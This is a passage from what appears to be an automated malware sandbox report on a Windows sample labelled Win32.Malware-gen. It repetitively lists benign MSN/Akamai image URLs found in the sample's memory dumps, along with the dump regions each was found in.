http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvqEs.img?h=166&w=310
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338991533.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530660980.0000000005D78000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvuGs.img?h=333&w=311
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvzqT.img?h=166&w=310
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyuliQ.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzjSw3.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB16g6qc.img?h=27&w=27&
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17milU.img?h=16&w=16&
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345701726.0000000006050000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346694046.000000000604F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533154697.0000000006650000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB18T33l.img?h=333&w=31
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19x3nX.img?h=166&w=31
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xCDZ.img?h=75&w=100
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xGDT.img?h=166&w=31
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xMWp.img?h=75&w=100
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xaUu.img?h=166&w=31
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xssM.img?h=75&w=100
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345701726.0000000006050000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346694046.000000000604F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533154697.0000000006650000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xzm6.img?h=250&w=30
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yF6n.img?h=333&w=31
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345701726.0000000006050000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346694046.000000000604F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 